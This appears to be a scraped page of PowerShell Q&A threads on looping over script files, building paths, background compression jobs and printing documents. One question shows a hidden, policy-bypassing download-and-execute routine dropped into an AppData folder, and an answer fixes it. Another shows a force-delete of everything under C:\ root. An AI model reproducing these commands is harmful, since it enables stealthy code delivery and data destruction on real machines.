Run All PowerShell Scripts In A Directory - powershell

I have a series of ps1 files in a directory, all of which have different names. I am trying to run them one after another with Start-Process and the -Wait parameter. How does loop through all the files in a directory and run one PowerShell script after another? There are no subfolders, and no files that are not of type ps1.
Here is my start:
$DirectoryList = Get-Content -Path C:\test
foreach ($Directory in $DirectoryList) {
Start-Process -FilePath powershell.exe -ArgumentList ('"{0}\How To Read Me.ps1" -Path "{1}"' -f $PSScriptRoot, $Directory);
}

You could simply use the call operator (&):
Get-ChildItem 'C:\test' | ForEach-Object {
& $_.FullName
}

Related

How to use Powershell output in a pipeline

My purpose is to write some string into a file, and the file path is something like %SystemDrive%\temp.txt. The pipeline looks like
Write-Output "test" | Out-File -FilePath %SystemDrive%\temp.txt
I can get %SystemDrive% by (Get-ChildItem -Path Env:\SystemDrive).Value, but how can I put it into the pipeline?
You could use Join-Path wrapped in parenthesis to set the FilePath for Out-File.
Write-Output "test" | Out-File -FilePath (Join-Path -Path (Get-ChildItem -Path Env:\SystemDrive).Value -ChildPath "\temp.txt")
The path that this yields on my system is:
C:\temp.txt
You can add the -WhatIf switch to the end of the command to see that it works, without actually writing the file.
I'd opt for creating a temp folder on C then output the txt file to that folder.
Get-"something"| Out-File -FilePath C:\temp\temp.txt

powershell -exclude did not exclude all the files from list

I have this script:
$list= #("inetpub", "Program Files", "Program Files (x86)", "ProgramData", "Windows", "Users"); Get-Item "C:\*" -exclude $list | Remove-Item -Recurse -force
and it should delete everything that is root but nothing from the list and what is inside the folders from the list. When I run it, somehow the script deletes some of Program Files folders like notepad++. How can i fix it?
The script is deployed using GPO like this
-ExecutePolicy Bypass -command "$list= #("inetpub", "Program Files", "Program Files (x86)", "ProgramData", "Windows", "Users"); Get-Item "C:\*" -exclude $list | Remove-Item -Recurse -force"
Edit: If it's deployed as a script not as a command it is working. But i would still like to know how can i make it work as a command
Is that a startup script? This works from cmd at least:
powershell $list = 'inetpub','Program Files','Program Files (x86)','ProgramData','Windows','Users'; Get-Item C:\* -exclude $list ^| Remove-Item -Recurse -force -whatif

PowerShell: using Compress-Archive with Start-Job won't work

I'm trying to use PowerShell to compress a bunch of video files on my H:\ drive. However, running this serially would take a long time as the drive is quite large. Here is a short snippet of the code that I'm using. Some parts have been withheld.
$shows = Get-ChildItem H:\
foreach($show in $shows){
Start-Job -ArgumentList $show -ScriptBlock {
param($show)
$destPath = "$($show.DirectoryName)\$($show.BaseName).zip"
Compress-Archive -Path $show.FullName -DestinationPath $destPath
}
}
When I run a Get-Job, the job shows up as completed with no reason in the JobStateInfo, but no .zip was created. I've run some tests by replacing the Compress-Archive command with an Out-File of the $destPath variable using Start-Job as well.
Start-Job -ArgumentList $shows[0] -ScriptBlock {
param($show)
$show = [System.IO.FileInfo]$show
$destPath = "$($show.DirectoryName)\$($show.BaseName).zip"
$destPath | Out-File "$($show.DirectoryName)\test.txt"
}
A text file IS created and it shows the correct destination path. I've run PowerShell as an Administrator and tried again but that doesn't appear to work either. Not sure if it matters, but I'm running on Windows 10 (latest).
Any help would be appreciated. Thanks!
For some reason, inside the job, the serialized fileinfo object has no basename (it's a scriptproperty). If you have threadjobs, that works.
dir | start-job { $input } | receive-job -wait -auto |
select name,basename,fullname
Name basename FullName
---- -------- --------
file1.txt C:\Users\js\foo\file1.txt
file2.txt C:\Users\js\foo\file2.txt
file3.txt C:\Users\js\foo\file3.txt
Am not sure if that's what you want but I think you first need to create an archive then update that archive with shows so I created zip called archive and looped through adding files.
$shows = Get-ChildItem H:\
foreach($show in $shows){
Compress-Archive -Path $show.FullName -Update -DestinationPath "C:\archive"
}

execute a script from a created folder with Powershell

In powershell i can download a script in a specific random name created folder but i cannot find the right way to execute the script from there.Here the code that i used:
$uuid=(Get-WmiObject Win32_ComputerSystemProduct).UUID;
$path = $env:appdata+'\'+$uuid; $h=$path+'\d';
if(!(test-path $path)) { New-Item -ItemType Directory -Force -Path
$path;};
Invoke-WebRequest mywebsitefordownloadingscript -OutFile $path\\test.txt;
start-process -Windowstyle hidden cmd '/C
'powershell.exe' -exec bypass $path\\test.txt';
there was something missing in last string maybe the problem persist if i use '+$path+' too.
Any suggestions??
The problem is your single quotes on the last two lines. Since you have enclosed $path within single quotes it is not expanded and is taken literally. Change to double quotes to expand the variable, and this should work.
$uuid=(Get-WmiObject Win32_ComputerSystemProduct).UUID
$path = $env:appdata+'\'+$uuid
$h=$path+'\d'
if(!(test-path $path)) {
New-Item -ItemType Directory -Force -Path $path
}
Invoke-WebRequest mywebsitefordownloadingscript -OutFile $path\\test.txt
start-process -Windowstyle hidden cmd "/C 'powershell.exe' -exec bypass $path\\test.txt"

Printing with Powershell and files in folders

I have a script which does some onsite printing. It doesnt work too well at the moment as the below runs for various file types which are sent to a folder to print, but the problem is it will only print 1 document at a time.
Start-Process –FilePath “c:\tests\*.docx” –Verb Print
I had the idea of doing this to get around it:
get-ChildItem "C:\Tests\*.docx" | `
foreach-object {
start-process -verb Print
}
This doesnt seem to work though. So then i tried this:
get-childitem "C:\Tests\*.xlsx" | `
foreach-object {
Start-Process -Filepath "C:\Program Files\Microsoft Office\Office14\EXCEL.exe" –Verb Print }
Also no luck,
Returns this error:
Start-Process : This command cannot be run due to the error: No application is associated with the specified file for this operation.
I think i am maybe not visualing the process here. Any ideas at all anyone on how to achieve printing of every file in a folder via powershell?
Windows 7 64 bit and $PSVersion = 5.0
Thanks in advance
You are very close, start-process needs the full path and name of the file:
Get-ChildItem "c:\tests\*.docx" | ForEach-Object {start-process $_.FullName –Verb Print}
Using a foreach loop should help you too:
$files = Get-ChildItem "c:\tests\*.docx"
foreach ($file in $files){
start-process -FilePath $file.fullName -Verb Print
}